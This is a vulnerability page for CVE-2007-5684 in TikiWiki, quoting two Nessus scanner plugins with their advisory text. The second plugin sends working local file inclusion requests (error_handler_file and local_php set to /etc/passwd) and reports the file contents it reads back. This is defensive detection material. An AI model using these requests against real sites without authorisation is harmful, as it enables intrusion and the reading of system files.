Vulnerabilities > CVE-2007-5684 - Path Traversal vulnerability in Tiki Tikiwiki Cms/Groupware

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(27844);
  script_version("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:38");

  script_cve_id("CVE-2007-4554", "CVE-2007-5683", "CVE-2007-5684");
  script_xref(name:"Secunia", value:"26618");

  script_name(english:"FreeBSD : tikiwiki -- multiple vulnerabilities (20a4eb11-8ea3-11dc-a396-0016179b2dd5)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Secunia reports :

Some vulnerabilities have been reported in TikiWiki, which can be
exploited by malicious people to conduct cross-site scripting and
script insertion attacks and disclose potentially sensitive
information.

Input passed to the username parameter in tiki-remind_password.php
(when remind is set to send me my password) is not properly sanitised
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code (for example with meta refreshes to a
javascript: URL) in a user's browser session in context of an affected
site.

Input passed to the local_php and error_handler parameters in
tiki-index.php is not properly verified before being used to include
files. This can be exploited to include arbitrary files from local
resources.

Input passed to the imp_language parameter in
tiki-imexport_languages.php is not properly verified before being used
to include files. This can be exploited to include arbitrary files
from local resources.

Certain img src elements are not properly santised before being used.
This can be exploited to insert arbitrary HTML and script code, which
is executed in a user's browser session in context of an affected site
when the malicious data is viewed."
  );
  # http://tikiwiki.cvs.sourceforge.net/tikiwiki/tiki/changelog.txt?view=markup&pathrev=REL-1-9-8-2
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?43c520ed"
  );
  # https://vuxml.freebsd.org/freebsd/20a4eb11-8ea3-11dc-a396-0016179b2dd5.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?a8c590d7"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cwe_id(22, 79);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:tikiwik");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/08/27");
  script_set_attribute(attribute:"patch_publication_date", value:"2007/11/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/11/09");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2007-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"tikiwik<1.9.8.2")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(27575);
  script_version("1.17");
  script_cvs_date("Date: 2018/11/15 20:50:19");

  script_cve_id("CVE-2007-5684");
  script_bugtraq_id(26211);

  script_name(english:"TikiWiki < 1.9.8.2 Multiple Scripts Local File Inclusion");
  script_summary(english:"Tries to read a local file with TikiWiki");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is susceptible to one
or more local file include attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host is running TikiWiki, an open source wiki application
written in PHP.

The version of TikiWiki installed on the remote host fails to sanitize
input to the 'error_handler_file' and/or 'local_php' parameters before
using them to include PHP code.  Provided PHP's 'register_globals'
setting is enabled, an unauthenticated, remote attacker may be able to
exploit this issue to view arbitrary files or to execute arbitrary PHP
code on the remote host, subject to the privileges of the web server
user id." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/482801/30/0/threaded");
 script_set_attribute(attribute:"see_also", value:"https://tiki.org/tiki-read_article.php?articleId=15" );
 script_set_attribute(attribute:"solution", value:"Upgrade to TikiWiki version 1.9.8.1 or later.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(22);

 script_set_attribute(attribute:"plugin_publication_date", value:"2007/10/26");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:tikiwiki:tikiwiki");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("tikiwiki_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP","www/tikiwiki");
  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80,php:TRUE);

file = "/etc/passwd";
if (thorough_tests)
{
  exploits = make_list(
    string("/tiki-index.php?error_handler_file=", file),
    string("/tiki-index.php?local_php=", file)
  );
}
else
{
  exploits = make_list(
    string("/tiki-index.php?error_handler_file=", file)
  );
}

install = get_install_from_kb(appname:'tikiwiki', port:port, exit_on_fail:TRUE);
dir = install['dir'];

foreach exploit (exploits)
{
  # Try to retrieve a local file.
  w = http_send_recv3(method:"GET", item:string(dir , exploit), port:port);
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  # There's a problem if there's an entry for root.
  if (egrep(pattern:"root:.*:0:[01]:", string:res))
  {
    contents = res - strstr(res, "<br />");
    contents = data_protection::redact_etc_passwd(output:contents);
    report = string(
      "\n",
      "Here are the contents of the file '/etc/passwd' that Nessus\n",
      "was able to read from the remote host :\n",
      "\n",
      contents
    );

    security_warning(port:port, extra:report);
    exit(0);
  }
}